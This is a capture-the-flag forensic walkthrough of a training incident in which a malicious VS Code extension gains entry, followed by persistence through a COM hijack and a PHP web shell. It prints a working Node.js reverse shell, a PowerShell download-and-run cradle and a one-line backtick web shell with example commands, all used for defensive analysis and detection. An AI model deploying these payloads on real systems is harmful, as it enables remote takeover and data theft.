ReliableThreat Sherlock Walkthrough

Solved ReliableThreat from Hack The Box!

Field Details
Case Reference HTB-SHRLCK-RELIABLETHREAT
Platform Hack The Box — Sherlock
Category Memory Forensics — Malicious VS Code Extension (Supply Chain)
Difficulty —
Date Opened 2024-07-23
Severity Critical
Status Closed — training scenario
Host User2’s workstation
Memory Dump memory.vmem / memdump.dmp
Disk Artifact Users.ad1 (FTK/AD1)
Tools Volatility 3, strings, extract_ad1.py, git diff, Wayback Machine, deobfuscate.relative.im

1. Executive Summary

On 2024-07-23 a malicious VS Code extension named chatgpt-b0t (publisher 0xS1rx58.D3V, version 0.0.1) was published to the VS Code Marketplace. User2 installed it; when the user typed “help” into the chatbot interface, the extension executed a reverse shell to 6.tcp.eu.ngrok.io:16587 (ngrok tunnel). The shell dropped RuntimeBroker.exe in C:\Users\Public\ (masquerading as the legitimate Windows process) and spawned cmd.exe. Post-exploitation, the attacker established dual persistence: COM Object Hijacking of the Recycle Bin CLSID ({645FF040-…}) via temp.exe, and a one-line PHP web shell ($testc = $_GET['s1']; echo$testc;) injected into a Laravel project’s public/index.php. The extension was removed from the Marketplace after only 5 installs; the Wayback Machine preserved the listing.

1.1 Incident Summary

Field Details
Incident Type Supply-chain attack via malicious VS Code extension → reverse shell → dual persistence + web shell
Initial Access User installed chatgpt-b0t from the VS Code Marketplace
Discovery Memory forensics triage of memory.vmem
First Execution 2024-07-23 02:28:58 UTC (Code.exe PID 8108)
Persistence COM hijack (Recycle Bin) + PHP web shell in Laravel index.php
Overall Severity Critical

1.2 Key Findings

  • Malicious extension: 0xs1rx58d3v.chatgpt-b0t-0.0.1, publisher 0xS1rx58.D3V, released 2024-07-23 00:41:19 UTC, only 5 installs, 0 reviews.
  • Trigger: user typing “help” (case-insensitive .includes()) in the chatbot interface.
  • Reverse shell: Node.js net.Socket() connecting to 6.tcp.eu.ngrok.io:16587 (ngrok tunnel, IP 52.28.247.255).
  • Payload dropped: C:\Users\Public\RuntimeBroker.exe (masquerading as legitimate RuntimeBroker.exe).
  • Compromised user: User2 (SID S-1-5-21-1998887770-13753423-1649717590-1001).
  • Persistence 1: COM Object Hijacking of Recycle Bin CLSID {645FF040-5081-101B-9F08-00AA002F954E} via temp.exe (T1546.015).
  • Persistence 2: PHP web shell $testc = $_GET['s1']; echo$testc; in public/index.php of a Laravel 11 project (T1505.003).

2. Investigation Scope & Artifacts

2.1 Artifacts Analyzed

Artifact Format What it answers
memory.vmem / memdump.dmp Raw memory dump All questions Q1–Q11
Users.ad1 FTK/AD1 triage image temp.exe, Laravel project, public/index.php — Q9, Q11
Wayback Machine archive Web Marketplace listing (release time, installs) — Q6

2.2 Tools & Methods

Tool Purpose
Volatility 3 (pslist, cmdline, pstree, filescan, dumpfiles, getsids, netscan) Process, network, file and SID analysis
strings Extract extension paths and CLSID references
extract_ad1.py AD1 image extraction on Linux
git diff Identify tampered files in the Laravel project
deobfuscate.relative.im JavaScript deobfuscation
Wayback Machine Recover deleted Marketplace listing

3. Technical Analysis

3.1 Scenario

Memory forensics investigation of a malicious VS Code extension (chatgpt-b0t) that delivered a reverse shell, established dual persistence (COM hijack + PHP web shell), and was distributed via the VS Code Marketplace as a supply-chain attack.

3.2 Q1 — What is the application that starts the suspicious chain of processes?

Answer: Code.exe

We used Volatility 3 to analyze the memory dump and exported process listing and command-line data:

$ python3 vol.py -f memory.vmem windows.pslist > exported_folder/pslist.txt
$ python3 vol.py -f memory.vmem windows.cmdline > exported_folder/cmdline.txt

Reviewing pslist.txt, we identified Code.exe (PID 8108) — Visual Studio Code — as the parent process. Its child process devsense.php.ls (PID 8332) immediately stood out as suspicious. The full command line from cmdline.txt confirms the extension path:

c:\Users\User2\.vscode\extensions\devsense.phptools-vscode-1.49.15728-win32-x64\out\server\devsense.php.ls

Key indicators:

  • Code.exe (PID 8108) is Visual Studio Code — a legitimate developer tool, attractive target for supply-chain/extension-based attacks
  • devsense.php.ls (PID 8332) is the PHP language server from the PHP Tools for VS Code extension (DEVSENSE, v1.49.15728) — legitimate, but its role as the first child in the suspicious chain is notable
  • The extension is installed under User2’s profile

MITRE ATT&CK: T1195.002 (Supply Chain Compromise), T1059 (Command and Scripting Interpreter), T1204.002 (User Execution: Malicious File).

Detection angle. windows.pslist/cmdline showing Code.exe as parent of suspicious child processes — VS Code as attack origin.

3.3 Q2 — Provide the full path of the malicious file used to gain initial access.

Answer: C:\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js

Since Q1 confirmed Code.exe starts the chain, the next step is investigating VS Code extensions. The Users.ad1 disk image did not contain the .vscode folder (triage didn’t capture it). We pivoted to memory and used Volatility 3’s filescan:

$ python3 vol.py -f memory.vmem windows.filescan | grep -i "\.vscode\\extensions"

This revealed several extension paths, including:

\Users\User2\.vscode\extensions\devsense.phptools-vscode-1.49.15728-win32-x64\...
\Users\User2\.vscode\extensions\visualstudioexptteam.vscodeintellicode-1.3.1\...
\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js

The first two are legitimate (PHP Tools by DEVSENSE, IntelliCode by Microsoft). The third stands out as malicious. An alternative approach using strings on the memory dump would also surface this path:

$ strings -el memory.vmem | grep -i "\.vscode\\extensions" | sort -u

Key indicators:

  • Publisher name 0xs1rx58d3v — leet-speak handle, not a legitimate marketplace publisher
  • Extension name chatgpt-b0t — typosquatting ChatGPT with a zero replacing ‘o’
  • Version 0.0.1 — initial release, no update history, typical of throwaway malicious packages
  • extension.js is the entry point for any VS Code extension — this is the code that executes when the extension loads
  • The .vscode folder was absent from the AD1 triage image — memory forensics is critical because loaded file paths persist in memory even when disk artifacts are incomplete

MITRE ATT&CK: T1195.002 (Supply Chain Compromise), T1204.002 (User Execution: Malicious File), T1036.005 (Masquerading).

Detection angle. windows.filescan for .vscode\extensions — surfaces installed extension paths even when the disk triage image is incomplete.

3.4 Q3 — What user input, when executed, will run the malicious code?

Answer: help

From Q2 we identified the malicious extension at 0xs1rx58d3v.chatgpt-b0t-0.0.1. We used filescan to locate the extension files in memory:

$ vol3 -f memdump.dmp windows.filescan | grep -i "chatgpt-b0t"
0x850cd16d92b0  \Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\package.json
0x850cd2e704f0  \Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js

We first dumped and examined package.json to understand the extension’s registered command:

$ vol3 -f memdump.dmp windows.dumpfiles --virtaddr 0x850cd16d92b0

The package.json revealed:

"contributes": {
    "commands": [{
        "command": "chatbot.start",
        "title": "Chatbot: Start"
    }]
}

This tells us the user activates the extension via the VS Code Command Palette (Ctrl+Shift+P → “Chatbot: Start”). However, this alone doesn’t trigger the malicious payload.

Next, we dumped extension.js. The initial dump using --virtaddr failed due to paged-out memory:

$ vol3 -f memdump.dmp windows.dumpfiles --virtaddr 0x850cd2e704f0
# Result: Error dumping file

We successfully recovered it using --physaddr instead:

$ vol3 -f memdump.dmp windows.dumpfiles --physaddr 0x850cd2e704f0

Examining the dumped extension.js, the critical line was:

else if (userInput.toLowerCase().includes('help')) {

This condition checks if the user’s input in the chatbot interface contains the word “help” (case-insensitive). When matched, instead of displaying help information, the extension executes the malicious payload — spawning cmd.exe /d /s /c "C:\Users\Public\RuntimeBroker.exe".

Key indicators:

  • Social engineering trigger — “help” is the most natural first input a user would type when trying out a new ChatGPT-like chatbot extension
  • Two-stage activation: (1) user runs “Chatbot: Start” from Command Palette, (2) user types anything containing “help” to trigger the malicious code
  • The --physaddr dump method succeeded where --virtaddr failed — useful when Volatility can’t reconstruct the file via virtual address mapping

MITRE ATT&CK: T1204.002 (User Execution: Malicious File), T1059.007 (Command and Scripting Interpreter: JavaScript).

Detection angle. extension.js trigger .toLowerCase().includes('help') — social engineering activation condition.

3.5 Q4 — What are the hostname and port used to establish a reverse shell?

Answer: 6.tcp.eu.ngrok.io:16587

Starting from the process tree, we know the extension host Code.exe (PID 1612) runs the malicious extension. We used netscan to check its network connections:

$ cat netscan.txt | grep 1612

image.png

Offset Protocol Local Address Local Port Foreign Address Foreign Port State PID Process Timestamp (UTC)
0x850ccb697730 TCPv4 0.0.0.0 5500 0.0.0.0 0 LISTENING 1612 Code.exe 02:29:17
0x850ccfe1f010 TCPv4 192.168.122.54 49799 52.28.247.255 16587 ESTABLISHED 1612 Code.exe 02:31:43
0x850cd0da54d0 TCPv4 192.168.122.54 49844 20.50.88.241 443 CLOSED 1612 Code.exe 02:37:27

The ESTABLISHED connection to 52.28.247.255:16587 at 02:31:43 UTC is the reverse shell. However, netscan only shows IP addresses, not hostnames. Searching for the IP in memory strings yielded nothing — the attacker never stored the resolved IP as a string. The connection used a hostname resolved at runtime via DNS.

We turned to the extension.js source code dumped in Q3. The code was obfuscated, but the string array was visible:

const _0x14a95e=['process','ess','log','bGkyQ','child_proc','433068GAVVdC',
'KKJsC','3558228jqdABL','join','tCzjG','writeFile','5861450KWrzJd',
'net','6.tcp.eu.n','existsSync','8mEVbLY','.lock','33671lcKKCQ',
'write','homedir','7608789yiXVDm','connect','Socket','exec','close',
'7500TuJOnk','AZCnT','4640KgvouZ','1240CscGNm','817948FedAcv',
'10yrCwwl','grok.io','path','mdIHn','closed','qZNxq','data',
'error','toString'];

The hostname is split across two strings: '6.tcp.eu.n' + 'grok.io' = 6.tcp.eu.ngrok.io. We deobfuscated the code using https://deobfuscate.relative.im to confirm. The deobfuscated code reveals a textbook Node.js reverse shell:

(function () {
  const _0x3db126 = new net.Socket()
  return (
    _0x3db126.connect(16587, '6.tcp.eu.ngrok.io'),
    _0x3db126.on('data', (_0xd34d07) => {
      const _0x45fcf2 = _0xd34d07.toString()
      require('child_process').exec(
        _0x45fcf2,
        (_0x460220, _0x254585, _0x3aa38b) => {
          _0x460220
            ? _0x3db126.write(_0x3aa38b)
            : _0x3db126.write(_0x254585)
        }
      )
    })
  )
})

The reverse shell logic: (1) creates a TCP socket, (2) connects to 6.tcp.eu.ngrok.io:16587, (3) listens for incoming data from the attacker, (4) passes received data to child_process.exec(), (5) writes back stdout/stderr to the socket.

Key indicators:

  • ngrok tunneling service — the attacker uses ngrok to create a public TCP tunnel that forwards to their local machine, hiding their real IP behind AWS IPs like 52.28.247.255
  • The connection was ESTABLISHED at 02:31:43 UTC — ~2 min 40 sec after the extension host started, ~54 sec before cmd.exe (PID 4196) spawned RuntimeBroker.exe
  • Obfuscation techniques: string splitting, string array extraction, hex arithmetic — all designed to evade static analysis

MITRE ATT&CK: T1059.007 (Command and Scripting Interpreter: JavaScript), T1571 (Non-Standard Port), T1572 (Protocol Tunneling), T1573 (Encrypted Channel), T1041 (Exfiltration Over C2 Channel).

Detection angle. netscan ESTABLISHED connection + deobfuscated extension.js revealing net.Socket().connect(16587, '6.tcp.eu.ngrok.io') — reverse shell via ngrok.

3.6 Q5 — What is the display name of the developer who created this malicious file?

Answer: 0xS1rx58.D3V

From the package.json we already dumped in Q3 (offset 0x850cd16d92b0), we examined the __metadata section which contains VS Code marketplace metadata.

image.png

Detection angle. package.json __metadata publisher field — developer display name.

3.7 Q6 — What time was the malicious file released? UTC.

Answer: 2024-07-23 00:41:19

The extension is no longer available on the VS Code Marketplace (taken down). However, we can reconstruct the URL from metadata: https://marketplace.visualstudio.com/items?itemName=0xs1rx58d3v.chatgpt-b0t. We checked the Wayback Machine for archived copies:

https://web.archive.org/web/*/https://marketplace.visualstudio.com/items?itemName=0xs1rx58d3v.chatgpt-b0t

The Wayback Machine had 3 captures (29 Jul 2024 – 24 Jul 2025). The archived marketplace page revealed:

image.png

Key indicators:

  • Only 5 installs — targeted or very recent attack, not widely distributed
  • 0 reviews — no community vetting
  • 3-minute gap between release (00:41:19) and last update (00:44:52) — publish, test, quick fix
  • Category “Other” — not categorized under a legitimate VS Code extension category
  • Minimal description — “ChatGPT-B0T is a AI extension” — low-effort social engineering relying on ChatGPT brand recognition
  • The Wayback Machine proved essential for recovering evidence of a deleted/removed marketplace listing

MITRE ATT&CK: T1195.002 (Supply Chain Compromise), T1608.001 (Stage Capabilities: Upload Malware).

Detection angle. Wayback Machine archive of a deleted Marketplace listing — recovers release time and metadata.

3.8 Q7 — Provide the SID for the user who has been compromised.

Answer: S-1-5-21-1998887770-13753423-1649717590-1001

We already know from the process tree that PID 1612 (Code.exe extension host) executed the malicious extension. We used Volatility 3’s getsids plugin targeting that PID:

$ vol3 -f memdump.dmp windows.getsids --pid 1612

image.png

The first SID entry S-1-5-21-…-1001 maps to User2 — confirming this is the compromised account.

Detection angle. windows.getsids --pid <extension_host> — maps the running process to the compromised user SID.

3.9 Q8 — Provide the full path of the suspicious executable being run during the infection chain.

Answer: C:\Users\Public\RuntimeBroker.exe

This was already identified in our initial pstree analysis. The process tree shows the infection chain flowing through the extension host. The cmdline output for PID 4196 reveals:

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Public\RuntimeBroker.exe"

And PID 1224 confirms the executable path:

C:\Users\Public\RuntimeBroker.exe

We also confirmed the file exists in memory via filescan:

$ cat filescan.txt | grep -i "RuntimeBroker" | grep -i "public"
0x850ccfcafb40  \Users\Public\RuntimeBroker.exe
0x850cd188f820  \Users\Public\RuntimeBroker.exe

Two file objects at different memory offsets — the file was referenced multiple times (once when written to disk, once when loaded for execution).

Key indicators:

  • Masquerading — RuntimeBroker.exe is a legitimate Windows process normally in C:\Windows\System32\. By naming their payload identically, the attacker ensures it blends into process listings. The critical difference is the path: C:\Users\Public\ vs C:\Windows\System32\
  • C:\Users\Public\ is a world-writable directory — any user can create files there without elevated privileges, making it a common malware staging location
  • cmd.exe /d /s /c execution pattern — /c means execute and terminate, /d disables AutoRun, /s modifies quote handling. Standard malware launcher pattern
  • Two-stage payload delivery: the malicious VS Code extension (extension.js) acts as a dropper/downloader that stages RuntimeBroker.exe in C:\Users\Public\, then uses cmd.exe as an intermediary to launch it
  • The legitimate RuntimeBroker.exe (PID 5292, 8908) runs from C:\Windows\System32\RuntimeBroker.exe under svchost.exe (788) — providing a direct comparison with the fake one

MITRE ATT&CK: T1036.005 (Masquerading: Match Legitimate Name or Location), T1059.003 (Command and Scripting Interpreter: Windows Command Shell), T1204.002 (User Execution: Malicious File).

Detection angle. RuntimeBroker.exe outside C:\Windows\System32\ (especially in C:\Users\Public\) — masquerading detection via path anomaly.

3.10 Q9 — The threat actor has modified the Windows registry to include a new entry. This change ensures that whenever a legitimate component runs, it triggers the malicious process. Specify the name of the legitimate component.

Answer: Recycle Bin

This question asks us to find a persistence mechanism — how the attacker ensures their malicious code runs again. The key clue: “whenever a legitimate component runs, it triggers the malicious process.” This tells us the attacker hijacked something that already exists on the system.

Step 1 — Ruling out common persistence locations: The first instinct is to check the classic Run keys. We used Volatility 3’s printkey on Software\Microsoft\Windows\CurrentVersion\Run with --recurse. This returned only legitimate entries (OneDrive, Edge auto-launch) — nothing pointing to RuntimeBroker.exe. So the attacker used something less obvious.

Step 2 — Investigating files on disk: Looking at the AD1 triage image, we found an additional suspicious file in C:\Users\Public\ — the same directory where RuntimeBroker.exe was staged:

C:\Users\Public\temp.exe

This is suspicious: C:\Users\Public\ is world-writable, and legitimate software rarely drops executables named temp.exe there.

Step 3 — Extracting strings from temp.exe:

$ strings -n 10 temp.exe | head -10
!This program cannot be run in DOS mode.
UAWAVAUATWVSH
[^_A\A]A^A_]
SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('http://s1rx.xyz/tmp.exe', 'C:\Windows\Temp\tmp.exe'); Start-Process 'C:\Windows\Temp\tmp.exe'"
open\command

Two critical pieces: (1) Registry path: SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell, (2) Payload: a PowerShell download cradle fetching tmp.exe from s1rx.xyz.

Step 4 — Identifying the CLSID: The CLSID {645FF040-5081-101B-9F08-00AA002F954E} is a well-known Windows identifier. A quick search confirms it belongs to the Recycle Bin.

By modifying the shell\open\command subkey for this CLSID, the attacker ensures that every time a user opens the Recycle Bin (double-clicks it on the desktop or in Explorer), Windows executes the attacker’s PowerShell command instead of (or in addition to) the normal Recycle Bin behavior.

How the persistence chain works:

User opens Recycle Bin
  → Windows reads CLSID {645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command
    → Executes: Powershell.exe -ExecutionPolicy Bypass -Command "..."
      → Downloads tmp.exe from http://s1rx.xyz/tmp.exe
        → Saves to C:\Windows\Temp\tmp.exe
          → Executes tmp.exe via Start-Process

This is a multi-stage persistence mechanism: temp.exe is the installer (writes the CLSID hijack), the hijacked Recycle Bin becomes the trigger (activated by normal user behavior), the PowerShell cradle is the downloader (fetching the latest payload), and tmp.exe is the final payload.

Key indicators:

  • COM Object Hijacking — instead of using well-known persistence keys (Run, RunOnce, IFEO), the attacker abused Windows’ COM/CLSID infrastructure. Every shell namespace object (Recycle Bin, My Computer, Control Panel) has a CLSID with configurable shell commands. This technique is stealthier because most forensic tools and EDR solutions focus on Run keys and scheduled tasks
  • {645FF040-5081-101B-9F08-00AA002F954E} — exists since Windows XP, present on every Windows installation. The Recycle Bin is an ideal hijack target because users interact with it regularly
  • PowerShell download cradle — ExecutionPolicy Bypass disables script execution restrictions; Net.WebClient.DownloadFile is a classic LOLBin technique
  • Attacker infrastructure — s1rx.xyz ties back to the threat actor’s identity (0xS1rx58.D3V from Q5)
  • Staging in C:\Windows\Temp\ — the downloaded payload lands in a different temp directory than the initial staging (C:\Users\Public\), potentially evading monitoring rules focused on the original staging path
  • temp.exe as a utility — the attacker used a separate dedicated tool just to install persistence, rather than building it into the main implant. Modular approach makes each component simpler and harder to attribute

MITRE ATT&CK: T1546.015 (Event Triggered Execution: Component Object Model Hijacking), T1059.001 (Command and Scripting Interpreter: PowerShell), T1105 (Ingress Tool Transfer), T1547 (Boot or Logon Autostart Execution).

Detection angle. strings on temp.exe revealing SOFTWARE\Classes\CLSID\{645FF040-…}\shell\open\command with a PowerShell download cradle — COM hijacking of the Recycle Bin.

3.11 Q10 — Which MITRE technique corresponds to the previous action?

Answer: T1546.015

This directly references the persistence mechanism identified in Q9 — the COM Object Hijacking of the Recycle Bin’s CLSID. The attacker modified the registry key SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command, which maps precisely to MITRE ATT&CK technique T1546.015 — Event Triggered Execution: Component Object Model Hijacking.

Why T1546.015: T1546 (Event Triggered Execution) — the malicious code doesn’t run at boot or on a schedule; it’s triggered by a user event (opening the Recycle Bin). The execution depends on the user interacting with a Windows shell namespace object. .015 (Component Object Model Hijacking) — the attacker abuses Windows’ COM infrastructure by modifying a CLSID’s shell\open\command value. COM objects map identifiers (CLSIDs) to executable behaviors; by hijacking an existing CLSID, the attacker inserts their code into a trusted execution path. The specificity matters — answering just “T1546” would be too broad.

Detection angle. Registry modification of CLSID\{645FF040-…}\shell\open\command — COM hijacking detection.

3.12 Q11 — The threat actor has identified the location for all projects and manipulated one of the project files. Could you provide details about the malicious code that was added?

Answer: $testc = $_GET['s1']; echo$testc;

Found via git diff on the Laravel project:

+$testc = $_GET['s1']; echo `$testc`;

Methodology: The attacker found the victim’s development projects and tampered with a project file. Since the AD1 triage image contains the Users folder, we can browse the victim’s files directly.

Step 1 — Locating user projects: User2’s Desktop contains a project directory: C:\Users\User2\Downloads\Project\laravel-11.1.4\ — a Laravel 11 PHP web framework project.

Step 2 — Identifying the tampered file: In any Laravel project, the entry point is public/index.php — every HTTP request passes through this file. Since the Laravel project contains a .git folder, we can use git diff to instantly spot modifications:

$ cd exported_files/C:\NONAME\ [NTFS]/[root]/Users/User2/Downloads/Project/laravel-11.1.4/
$ git diff

This is a powerful forensic technique — whenever a project has version control, always check git diff and git status to identify tampered files.

Examining the flagged file:

$ cat public/index.php

Between the maintenance mode check and the Composer autoloader, an extra line was injected:

// Register the Composer autoloader...
$testc = $_GET['s1']; echo `$testc`;
require __DIR__.'/../vendor/autoload.php';

This single line is a fully functional PHP web shell.

Step 3 — Understanding the web shell:

Component What it does
$_GET['s1'] Reads the s1 parameter from the URL query string (e.g., ?s1=whoami)
$testc Backtick execution — in PHP, backticks execute the enclosed string as a system command (equivalent to shell_exec())
echo Outputs the command result back to the attacker in the HTTP response

Attack example:

GET /index.php?s1=whoami          → returns: www-data
GET /index.php?s1=cat+/etc/passwd → returns: system password file
GET /index.php?s1=net+user        → returns: Windows user list

This gives the attacker full Remote Code Execution (RCE) on the web server — any command passed via the URL gets executed with the privileges of the web server process.

Key indicators:

  • Web shell injection — the attacker chose index.php because it’s the guaranteed execution path for all Laravel requests
  • Minimal footprint — the entire backdoor is a single line of PHP, easy to overlook during code review
  • Backtick execution — using PHP’s backtick operator instead of system(), exec(), or shell_exec() is a deliberate evasion choice; many WAF rules scan for those function names but miss backtick syntax
  • Parameter name s1 — generic and inconspicuous, blending with legitimate test code
  • Project reconnaissance — before tampering, the attacker had to discover the Laravel project on the victim’s system, indicating file system enumeration after gaining access (likely via the reverse shell from Q4)
  • Dual persistence strategy — two independent persistence mechanisms: the Recycle Bin COM hijack (Q9) for the Windows desktop, and this web shell for remote access if the Laravel project is ever deployed to a server

MITRE ATT&CK: T1505.003 (Server Software Component: Web Shell), T1059.004 (Command and Scripting Interpreter: Unix Shell) / T1059.003 (Windows Command Shell), T1083 (File and Directory Discovery).

Detection angle. git diff on a version-controlled project — instantly surfaces injected one-line web shells ($_GET[...] + backtick execution).


4. Challenge Q&A Log

# Question Answer Method
1 Application starting the suspicious chain Code.exe windows.pslist / cmdline
2 Full path of malicious file C:\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js windows.filescan
3 User input triggering malicious code help extension.js dump (--physaddr)
4 Reverse shell hostname and port 6.tcp.eu.ngrok.io:16587 netscan + deobfuscated extension.js
5 Display name of developer 0xS1rx58.D3V package.json __metadata
6 Malicious file release time (UTC) 2024-07-23 00:41:19 Wayback Machine (Marketplace archive)
7 SID of compromised user S-1-5-21-1998887770-13753423-1649717590-1001 windows.getsids --pid 1612
8 Full path of suspicious executable C:\Users\Public\RuntimeBroker.exe pstree + cmdline + filescan
9 Legitimate component hijacked Recycle Bin strings on temp.exe + CLSID lookup
10 MITRE technique for the hijack T1546.015 CLSID {645FF040-…} shell\open\command
11 Malicious code added to project file $testc = $_GET['s1']; echo$testc; git diff on Laravel project

5. Incident Narrative

On 2024-07-23 a malicious VS Code extension chatgpt-b0t (publisher 0xS1rx58.D3V, version 0.0.1) was published to the VS Code Marketplace. User2 installed it; when the user typed “help” into the chatbot interface, the extension executed a reverse shell to 6.tcp.eu.ngrok.io:16587 (ngrok tunnel). The shell dropped RuntimeBroker.exe in C:\Users\Public\ (masquerading as the legitimate Windows process) and spawned cmd.exe. Post-exploitation, the attacker established dual persistence: COM Object Hijacking of the Recycle Bin CLSID via temp.exe, and a one-line PHP web shell injected into a Laravel project’s public/index.php. The extension was removed from the Marketplace after only 5 installs; the Wayback Machine preserved the listing. The entire chain was reconstructed from a memory dump (memory.vmem) and an AD1 triage image (Users.ad1).


6. Attack Timeline

Timestamp (UTC) Event Artifact ATT&CK
2024-07-23 00:41:19 Malicious extension chatgpt-b0t published to Marketplace by 0xS1rx58.D3V Wayback Machine T1608.001
2024-07-22 15:56:02 Extension chatgpt-b0t-0.0.1 installed on User2’s machine package.json installedTimestamp T1195.002
2024-07-23 02:28:58 Code.exe (PID 8108) launched by User2 via explorer.exe Volatility3 pstree T1204.002
2024-07-23 02:29:03 Extension Host Code.exe (PID 1612) spawned Volatility3 pstree —
2024-07-23 02:29:08 Legitimate extension devsense.php.ls (PID 8332) loaded Volatility3 pstree —
2024-07-23 02:29:03+ Malicious extension.js loaded, registers help command trigger Dumped extension.js T1059.007
2024-07-23 02:31:43 Reverse shell established to 6.tcp.eu.ngrok.io:16587 (ESTABLISHED) netscan T1572
2024-07-23 02:32:35 cmd.exe (PID 4196) spawned — executes C:\Users\Public\RuntimeBroker.exe Volatility3 pstree/cmdline T1059.003
2024-07-23 02:32:35 RuntimeBroker.exe (PID 1224) — reverse shell to 6.tcp.eu.ngrok.io:16587 Volatility3 netscan T1071.001
2024-07-23 02:35:37 Post-exploitation cmd.exe (PID 9008) spawned by RuntimeBroker.exe Volatility3 pstree —
(post-exploitation) Recycle Bin CLSID hijacked via temp.exe for COM persistence AD1 strings analysis T1546.015
(post-exploitation) Laravel project index.php injected with PHP web shell AD1 git diff T1505.003

7. Indicators of Compromise (IOCs)

7.1 File IOCs

Type Value Context
File Name extension.js Malicious VS Code extension entry point — Q2/Q3
File Name package.json Extension manifest (publisher 0xS1rx58.D3V) — Q5
File Name RuntimeBroker.exe Masquerading payload in C:\Users\Public\ — Q8
File Name temp.exe COM hijack installer in C:\Users\Public\ — Q9
File Path C:\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\ Malicious extension directory — Q2
File Path C:\Users\Public\RuntimeBroker.exe Payload drop location — Q8
File Path C:\Users\Public\temp.exe Persistence installer — Q9
File Path C:\Windows\Temp\tmp.exe Downloaded payload (via COM hijack) — Q9
File Path public/index.php (Laravel project) Web shell injection — Q11

7.2 Network IOCs

Type Value Context
Domain 6.tcp.eu.ngrok.io Reverse shell hostname — Q4
Port 16587 Reverse shell port — Q4
IP Address 52.28.247.255 ngrok tunnel endpoint (AWS) — Q4
Domain s1rx.xyz Attacker’s payload download domain — Q9
URL http://s1rx.xyz/tmp.exe Payload download URL (via COM hijack) — Q9

7.3 Behavioral IOCs

Type Value Context
Extension ID 0xs1rx58d3v.chatgpt-b0t Malicious VS Code extension — Q2
Publisher 0xS1rx58.D3V Developer display name — Q5
Trigger help (case-insensitive .includes()) Activation keyword — Q3
CLSID {645FF040-5081-101B-9F08-00AA002F954E} Recycle Bin COM hijack — Q9
Web Shell $testc = $_GET['s1']; echo$testc; PHP web shell in Laravel index.php — Q11
Parameter s1 Web shell trigger parameter — Q11
Account User2 (SID S-1-5-21-1998887770-13753423-1649717590-1001) Compromised user — Q7

8. Detection Opportunities

Source What to look for Why it matters
Memory forensics Code.exe as parent of suspicious child processes (cmd, RuntimeBroker) VS Code as attack origin — Q1
Memory forensics .vscode\extensions\ paths in filescan/strings for unknown publishers Malicious extension identification — Q2
Memory forensics extension.js containing .includes('help') trigger + net.Socket().connect() Reverse shell in extension code — Q3/Q4
Network (netscan) ESTABLISHED connection from Code.exe to ngrok domains (*.ngrok.io) on non-standard ports Reverse shell via tunneling — Q4
Memory forensics RuntimeBroker.exe outside C:\Windows\System32\ (especially in C:\Users\Public\) Masquerading payload — Q8
Disk forensics temp.exe in C:\Users\Public\ with strings referencing CLSID {645FF040-…} COM hijack installer — Q9
Registry Modification of CLSID\{645FF040-…}\shell\open\command Recycle Bin COM hijacking — Q9
Version control git diff on developer projects revealing injected one-line web shells Web shell detection — Q11
Marketplace/OSINT VS Code extensions with <10 installs, 0 reviews, “Other” category, minimal description Malicious extension red flags — Q6

9. MITRE ATT&CK Mapping

TTP ID Tactic Technique Evidence
T1195.002 Initial Access Supply Chain Compromise: Compromise Software Supply Chain Malicious chatgpt-b0t extension on Marketplace — Q2/Q6
T1204.002 Execution User Execution: Malicious File User installed and triggered the extension — Q1/Q3
T1059.007 Execution Command and Scripting Interpreter: JavaScript Obfuscated extension.js reverse shell — Q4
T1059.003 Execution Command and Scripting Interpreter: Windows Command Shell cmd.exe /d /s /c "RuntimeBroker.exe" — Q8
T1036.005 Defense Evasion Masquerading: Match Legitimate Name or Location RuntimeBroker.exe in C:\Users\Public\ — Q8
T1572 Command and Control Protocol Tunneling ngrok tunnel (6.tcp.eu.ngrok.io:16587) — Q4
T1571 Command and Control Non-Standard Port Port 16587 — Q4
T1041 Exfiltration Exfiltration Over C2 Channel Reverse shell data exfiltration — Q4
T1546.015 Persistence Event Triggered Execution: Component Object Model Hijacking Recycle Bin CLSID hijack — Q9/Q10
T1059.001 Execution Command and Scripting Interpreter: PowerShell PowerShell download cradle via COM hijack — Q9
T1105 Command and Control Ingress Tool Transfer tmp.exe downloaded from s1rx.xyz — Q9
T1547 Persistence Boot or Logon Autostart Execution COM hijack autostart — Q9
T1505.003 Persistence Server Software Component: Web Shell PHP web shell in Laravel index.php — Q11
T1059.004 Execution Command and Scripting Interpreter: Unix Shell Backtick execution in PHP web shell — Q11
T1083 Discovery File and Directory Discovery Attacker found Laravel project on disk — Q11
T1608.001 Resource Development Stage Capabilities: Upload Malware Extension published to Marketplace — Q6

10. Conclusions & Recommendations

10.1 Incident Summary

What Happened A malicious VS Code extension (chatgpt-b0t) delivered a reverse shell via ngrok, dropped a masquerading RuntimeBroker.exe, and established dual persistence (Recycle Bin COM hijack + PHP web shell in a Laravel project).
Root Cause User installed an unvetted, low-reputation VS Code extension from the Marketplace; no extension allow-listing or code review.
Impact Assessment Confidentiality: Critical — full RCE via reverse shell and web shell. Integrity: Critical — dual persistence + web shell in developer project. Availability: Medium — potential for further payload delivery via COM hijack.

10.2 Recommendations

Priority Timeframe Recommendation
Immediate Within 24h Remove chatgpt-b0t extension; delete RuntimeBroker.exe and temp.exe; restore public/index.php from git; remove CLSID hijack registry entry
High Within 7 days Block s1rx.xyz and *.ngrok.io at proxy/DNS; review all installed VS Code extensions for unknown publishers
Medium Within 30 days Implement extension allow-listing in VS Code; alert on RuntimeBroker.exe outside System32; alert on CLSID shell\open\command modifications
Low Within 90 days Developer security awareness for extension supply-chain risks; code review for git diff in projects
Strategic Ongoing Memory forensics as standard triage for suspicious process chains; document Volatility plugin workflow for extension-based attacks

11. Analyst Notes & Learning

11.1 What I Did Well

